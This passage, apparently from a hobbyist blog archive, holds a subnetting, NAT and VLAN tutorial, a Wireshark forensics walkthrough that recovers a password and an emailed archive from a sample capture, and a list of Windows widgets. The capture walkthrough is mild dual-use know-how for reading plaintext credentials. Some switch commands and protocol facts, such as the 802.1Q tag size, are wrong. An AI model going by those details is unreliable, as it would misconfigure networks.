for example you have 255.255.255.224 which is 11100000 in CIDR /27. You can now invert this to 00011111. Count the 1's and you have 2 to the power of 5 which is 32. This means you have 32 addresses in that subnet. But you can only use 30 addresses of this space as the first and the last address is reserved. You can take this subnet 192.168.1.0/27. 192.168.1.0 would be the network address and 192.168.1.31 would be the broadcast address. So you can use the range of 192.168.1.1 - 192.168.1.30

To make that somewhat clearer I copy something from the cisco learner network:
Here is how binary octets convert to decimal: The right most bit, or least significant bit, of an octet holds a value of 2 to the power of 0. The bit just to the left of that holds a value of 2 to the power of 1. This continues until the left-most bit, or most significant bit, which holds a value of 2 to the power of 7. So if all binary bits are a one, the decimal equivalent would be 255 as shown here:

1 1 1 1 1 1 1 1
128 64 32 16 8 4 2 1 (128+64+32+16+8+4+2+1=255)

Here is a sample octet conversion when not all of the bits are set to 1.

0 1 0 0 0 0 0 1
0 64 0 0 0 0 0 1 (0+64+0+0+0+0+0+1=65)

And this sample shows an IP address represented in both binary and decimal.

10. 1. 23. 19 (decimal)
00001010.00000001.00010111.00010011 (binary)

separte a class c network (/24) into subnets (this is from cisco. One question you will always find on a CCNA Certification test)
we take a subnet of 192.168.1.0/24 and seperate that into five subnets. Here are the requirements:
Subnet A: has 14 hosts
Subnet B: has 28 hosts
Subnet C: has 2 hosts
Subnet D: has 7 hosts
Subnet E: has 28 hosts

Is this possible with our class C network of 192.168.1.0/24?
You can start by looking at the subnet requirement. In order to create the five needed subnets you would need to use three bits from the Class C host bits. Two bits would only allow you four subnets (2 to the power of 2 which is 4 (2x2)).
Since you need three subnet bits, that leaves you with five bits for the host portion of the address. How many hosts does this support? 2 to the power of 5 = 32 (30 usable). This meets the requirement.

your subnets may look like this:
Subnet A: 192.168.1.0/27 host address range 1 to 30
Subnet B: 192.168.1.32/27 host address range 33 to 62
Subnet C: 192.168.1.64/27 host address range 65 to 94
Subnet D: 192.168.1.96/27 host address range 97 to 126
Subnet E: 192.168.1.128/27 host address range 129 to 158

As this exapmle told you need three bits of your subnet host part. The host part was 00000000 and if you need three bits as explained above the subnetmask for each host looks like 11100000 which is 224 in decimal. So your subnetmasks are 255.255.255.224

As I know this is difficult if you read this for the first time I have another example
We want wo seperate the class C network 192.168.1.0/24 into 4 subnets. Each subnet should be able to have 50 clients. 2 to the power of 2 is 4 which means you need two bits from your host part for the network part. 8-2 is 6 and 2 to the power of 6 is 64 (62 usable). Ok now we know that this is possible. Lets take our host part which is 00000000 and change it to our requirements 11000000.
This is given us a subnet mask of 255.255.255.192 (which is calculated by 256-64=192 or 128+64=192)

Subnet A: 192.168.1.0/26 host address range 1 to 62
Subnet B: 192.168.1.64/26 host address range 65 to 126
Subnet C: 192.168.1.128/26 host address range 129 to 190
Subnet D: 192.168.1.192/26 host address range 193 to 254

Ok... I think this should fit for now. If you want to you can try to seperate this subnet into 8 pieces with at least 25 host per subnet. Is this possible? you can post the answer if you want to ;-)

4. NAT
As this is widley used I want to tell you a bit about what is NAT and what it is doing. NAT is short for network address translation and everyone of you is using NAT at home.
NAT is a collective term of methods which are automating the process of changing network adddress information of network packets. This is used to connected different networks with each other and for this it is typically used on routers.

Types of NAT
NAT is seperated into two different types: Source-NAT and Destination-NAT. With Source-NAT the address information of the client which is establishing the connection is beeing replaced.
With Destination-NAT the address information of the destination client is beeing translated.
So everyone of you is using Source-NAT on your ISP Router to access the internet. As seen on the list of IP address ranges you should all be using privat IP addresses in your home network.
Your ISP assigns a public IP address to you that you can access the internet. Your router will allways translate your internal ip address to the public one which is assigned to you.
So nobody on the internet will see your internal ip address. NAT and also PAT (Port address translation) is always taking place when you try to reach the internet.
As NAT is a very complex area which could fill a Thread on it's own I will be leaving that for now. If someone is interested in that and want's to know more about it like how it is configured on a cisco device like ios router and firewall just give me a sign and I will write something about that.

5. VLANs
VLANs is a very widley used type of implementing different subnets on one network hardware. In the very old days you needed to have network hardware for every subnet and you needed extra routers for connecting them. Today you can use VLANs for that task. VLAN is short for (virtual local area network). The main reason for using vlans is to have less network hardware and of course the same reason why you should do subnetting. One of the main reasons is to hold the broadcast domain as small as possible. If there is a client on the network which is configured to use DHCP it will send out a broadcast message with a DHCP-Request. As you know broadcast messages are sent to all clients in that broadcast domain (subnet). So if you have a subnet with thousands of usable ip addresses the traffic will be much higher then in a Network with 254 usable addresses. The second reason is that you want to put together what belongs together (subnet for printers, servers, different clients in different departments of your company). If these types of hardware are seperated you have the possibility to only allow connections to subnets which are required for the specific network with routing everything through an internal firewall or by implementing ACLs (Access Control Lists) on the switches (mainly on the routing switch).

How is a vlan configured on a hp/cisco switch

After you logged in to the switch you first need to get into a higher privileged account (manager account)
On HP switches by default you have two users called operator and manager. The operator is only allowed to do some basic show commands.
The manager is like the root user and can do everything. If you are the operator you will see this sign at the end of the promt of the command line >
The manager level has this sign #
Then you need to enter the configuration mode

Code:

hpswitch> enable
password manager: 
hpswitch# configure terminal
hpswitch(config)#

Cisco doesn't have manager or operator accounts. Cisco is working with privilege levels 1 is the lowest and 15 is the highest. So you have to make sure you use a account with a higher privilege then 12

Code:

ciscoswitch> enable
enable password: 
ciscoswitch# configure terminal
ciscoswitch(config)#

Then you can start creating your VLAN. You need to assign a number to your vlan which can be 1 - 4096 (depending on your switch and software version)
VLAN 1 is always the default vlan and should not be used. You can add interfaces to a vlan and if you aren't careful you can erase a port from a vlan which is not member of any other vlan.
This could lead to some orphan ports. Anytime you do this the switch will assign this port to the default vlan to take care about this problem.

Code:

hpswitch(config)# vlan 5
hpswitch(vlan-5)# name "Sales_department"
hpswitch(vlan-5)# ip address 10.10.10.1 255.255.255.0
hpswitch(vlan-5)# untagged 1-22
hpswitch(vlan-5)# tagged 23-24
hpswitch(vlan-5)# exit
hpswitch(config)# write memory

Code:

ciscoswitch(config)# interface vlan 5
ciscoswitch(config-subif)# name "Sales_department"
ciscoswitch(config-subif)# ip address 10.10.10.1 255.255.255.0
ciscoswitch(config-subif)# exit
ciscoswitch(config)# interface gigabitethernet 1/0/1
ciscoswitch(config-if)# switchport mode access
ciscoswitch(config-if)# switchport access vlan 5
ciscoswitch(config-if)# exit
[repeat that for every interface which should be untagged member of that vlan]
[you can also define interface ranges interface range gigabitethernet 1/0/1 - 1/0/22]
ciscoswitch(config)# interface gigabitethernet 1/0/23
ciscoswitch(config-if)# switchport encapsulation dot1q
ciscoswitch(config-if)# switchport mode trunk
ciscoswitch(config-if)# switchport trunk allowed vlans 5
ciscoswitch(config-if)# exit
[repeat that for every interface which should be tagged member of that vlan]
[you can also define interface ranges interface range gigabitethernet 1/0/23 - 1/0/24]
ciscoswitch(config)# write memory
[on old devices this is copy running-config startup-config]

You should know that everything you enter on command line is working at the time you hit enter.
If the switch reboots all changes are gone until you write them to the flash memory.

What is that tagged and untagged mean?
There is a ethernet standard for that called 802.1q. keeping this simple: a network packet leaving a 802.1q port will be extended by the switch with additional 14 bytes.
This place is used to put in some vlan informations. This field is also used for QoS DSCP or IP Precedence values.
A untagged port (or access port in cisco language) can only be a member of one vlan. If you want do make the vlans on one switch available on another you need to configure the uplinkport as tagged member of every vlan you want to share (or make a trunk port in cisco language).

You can configure vlans with no ip address. A ip address on a vlan is only needed on the routing switches. A vlan without an ip address can't be routed. You can use this for isolating vlans such as guestnets.

As you may have recognized there are many differences in the way things are called in cisco "language" and the "rest of the world" language. If you talk with somebody about networks you should decide which language you want to talk. For example a trunk port in cisco "language" is a tagged port in the "rest of the world" language. A trunk in the "rest of the world language" means that a link aggregation was made. Cisco calls this an etherchannel or portchannel.

Enjoy :)

Hacking Using Wireshark

2012-08-20T19:25:00.001+05:30

Basic forensics using Wireshark

Wireshark is a free, open-source, packet analyzer that can be used both to capture packets and to read packet captures. Now this may sound like no big deal, so what if you can see some

packets on the network right? Not at all, using wireshark you are able to intercept passwords, re-create files that were transferred so that you know what the file is, even read emails that

were sent while Wireshark was running. It is also used to identify network performance issues to help decrease lag across your network.
Sound a bit more useful now?

Contents in this tutorial:

1. Setting up Wireshark-A few things to do
2. What does this mean? How to read a packet
2.5 Interesting packets, packets that mean something
3. TCP Stream
4. Extracting Data
5. Not Wireshark-But we have to finish!
6. In closing

Download the packet we will be using the this tutorial: Here.

1. Setting up Wireshark

This is assuming you have wireshark installed and have a capture file to examine. Feel free to download the capture provided with this tutorial so that you can follow along.

First things first, after opening it up you see something like this:

Now starting from the left we have different columns that we can use to help us sort through all of this info. In order to read packets better you should go to Edit > Preferences > Columns and add Destination Port (unresolved) as a column. That tells us which port the packet is connecting on, 25 for smtp, 80 for http, and so on. This will help you identify what's going on and if a program is connecting through the correct port. Not so useful in the confines of this example packet or tutorial, but definitely worth having farther down the road. Feel free to sort the columns into whatever order you prefer, though personally i think it's helpful to keep the NO. column on the left. Please do so for this tutorial as I will be referencing packets by number.

2. How to Read a Packet

Now that we have our packets opened up, we'll sort them by number in descending order. Referring to the image above you can see that wireshark gives us a lot of info about each packet. The source and destination IP's tell you whether the packet came from the host (your computer for example) or the server/computer/website your connecting to. If we look at packet one, we see that our host is 192.168.0.150 and our destination is 192.168.0.100. From that alone we can tell that these two computers are on the same network, and assuming the subnetmask is 255.255.255.0 (the most common on home networks) then we can tell they are on the same subnet within the network. For a more detailed explanation check out "Networking-The Basics" - Part 1 - Here, Part 2 - Here or Here.

The next columns we see are the destination port, and the protocol. The destination port tells you what port the packet went through, which if you use the list of ports found Here can tell you a lot about the program being used. Again, not so useful within our example capture however. The protocol column tells you what protocol it's using:

-TCP is the protocol that controls any inter-electronics communication, it uses a 3 way handshake using SYN, SYN/ACK, and ACK packets to talk and is it's own tutorial by itself. Just know that it exists, and is SUPER important to how computers talk to each other. For more info, Here.
-FTP is used for file sharing
-SMTP is used for email.
-HTTP is used for web browser's

For a full list of protocols check Here. This tutorial is mostly concerned with the SMTP protocol in our capture file.

The final two columns are length and info, length tells you how large the packet is in bytes and info tells you all the juicy stuff. Just take a minute to scroll through and see what's going on in the Info column. Idk how to explain it, it just makes enough sense if you read english so that you can tell whether or not it's worth looking at (at least it does for me)

2.5 Interesting packets

Lets take a quick look at a few interesting packets, and why I consider them interesting:

This one has the word login. Need I say more? In this case it's not so important, but LOGIN is always worth looking out for

This one has the word telnet, the original computer to computer protocol. And telnet is never encrypted   Again though, not important in this tutorial, but always worth looking out for.

Ah ha! Mail From. That's what were looking for

Now lets look at the surrounding packets so we can see what all is going on here.

So from this block of packets, we can see that an email was sent from <root@localhost.local> to <postmaster@localhost.local> (both machines are on the same network remember)

Now that we have identified what we're looking for, time for the next step....

3. TCP Stream

Next step is to view the TCP stream, right click on any of those packets in that SMTP block and go to follow tcp stream. This also applies a filter to the top of your main wireshark screen which you need to clear after your finished reading the TCP Stream in order to get back to the entire capture. More on that later.

You should see a screen like this:

What's that? a backup password?? Must be important, take note of it.

4. Extracting Data

Now we continue looking through our stream, however instead of looking through the whole thing again for interesting packets, lets sort by source type and scroll down to the SMTP protocols.

Don't forget to clear your filter!

All those packets labeled data fragment? That means that data was sent over the SMTP protocol, in other words an attachment of some sort. Now don't stress just because it says fragment, it's sent in fragments but our trusty Follow TCP Stream will show us the whole thing. Right click on one of those packets and follow the stream.

Unfortunately it's not sent in plain text like the message earlier. But if it's not in plain text then how does the recipient know how to view the file? Is it some super secret code he knows? Negative. The secret lies right here:

The encoding is Base64. Now this could mean many things, and if your first guess is to use a Base 64 decoder online then you wouldn't be the only one. However that won't work, as this isn't some algorithm but rather a way for the computer to translate the attachment into data that can then be interpreted into Binary and sent over the network. So rather than decoding, we simply hit Save As. in any folder you like, any name you like.

Another good guess would be to then open this file by right clicking > open with > 7zip (or your preferred unzipping program) as the file was labeled Backup.rar (right above where the encoding was) and .rar is the extension for zipped files. Again though, this won't work. The thing to remember is that this packet was sent by email, and in order for an email client to do that it first has to convert the data into a form that the client can read. So that confusing block of text that looked like a super secret code? is actually how the client interprets the computers interpretation of the data.

Confusing to read, but a simple solution. Open this file in an email client!! (i used Thunderbird, not sure if it will work on hotmail or any web-based email program. but just open it with Outlook if your on windows) However, you cant do an open with > thunderbird or your client will read it as an attachment. When in fact it's a saved message. Instead open up your client and go to file > open saved message. Make sure you have all files selected instead of saved message, then select your extracted file:

Open it up and we have a blank message, with an attachment called backup.rar!!! Save that attachment, and then run 7zip (or whatever you use) to extract the files from that .rar file and you will be prompted for a password. Remember the first SMTP protocol packets that we looked at? Try typing in that password, and voi la!!! We have the files! Congratulations, you have just completed your first attempt at forensics using Wireshark.

These files are worthless btw, don't spend 10 mins trying to read something important out of them

6. In closing

Wireshark is one hell of a program, I fell in love with the simple GUI and the readability of it. I also find it extremely simple to use, and while there are many other packet capture programs out there, I won't be switching anytime soon. If you want practice with it, simply start a capture and connect to the internet or send an email then save the capture and try to see what info you can extract from it (FB uses an SSL so you won't be grabbing plain text login info. sorry to dissapoint  ) Or check out sites with hacking challenges and attempt to do their forensics challenges, it's good practice.

Also, big thanks to RedBullAddicted who helped me learn how to use Wireshark and continues to help me better understand networking and protocols. And thanks to you for reading this tutorial, perhaps as I become more comfortable/fluent with Wireshark I will write a more advanced guide that covers the complexities of this program.

Enjoy :)

Top 10 Widgets for Windows 7

2012-08-20T19:02:00.001+05:30

1. All CPU Meter
It monitors your memory usage as well as CPUs, and it packs a lot of information into a small space. I also like that you can change the background color to match your preferences.

2. Clipboard Manager
You can save up to 999 clips and you can delete any clip or send it to the Clipboard or to your Favorites list with a right click. The Clipboard Manager supports images as well as text. It even has a privacy mode, which prevents clips from being displayed on the main gadget so that passers-by who glance at your desktop canít see what youíve saved to the clipboard.

3. Facebook Explorer
Facebook on your desktop what could be better? This nifty little widget will allow you to navigate through your Facebook profile with ease. The size of the actual window can be adjusted to 3 different sizes. Some of the features are it gives you a compact view of your own status and information, friendsí activities, and you can update your status right from the widget.

4. Ultimate Explorer
Ultimate Explorer lets you search popular sites from your desktop. Itís a compact little gadget some examples of the sites it can search are: Google, YouTube, Wikipedia, eBay, Amazon, Digg, and many more. You can select up to eight search sites for ìsnap search".

5. App Launcher
Not really much to say here. It replaces the quick launch tool bar and can be seen in the picture below.

6. MiniTV
This is a very handy widget. It can fit in the corner in a small preview like in the image below or opened to full screen. It offers some of the main channels along with some I have not heard of. Very handy to have playing in the background when working on something and trying to catch up on news etc..

7. Magic Folder
This can very useful for people whose desktop could use a little bit of cleaning up and help them get more organized.

8. Vista Shutdown Control
I love this because I always like locking my computer when I leave it and it is so simple just to click the lock button which is located in the bottom right of my desktop.

9. Auto Translator
I enjoy seeing what things are in other languages. I help a lot of people on Teamviewer over Hack Forums and having this on my desktop has been a life saver. Be able to type something in and quickly getting the translation I need is awesome!

10. Open/Close DVD
This can be handy. It does exactly what the name states nothing more.

Download These Widgets : Here.

Enjoy :)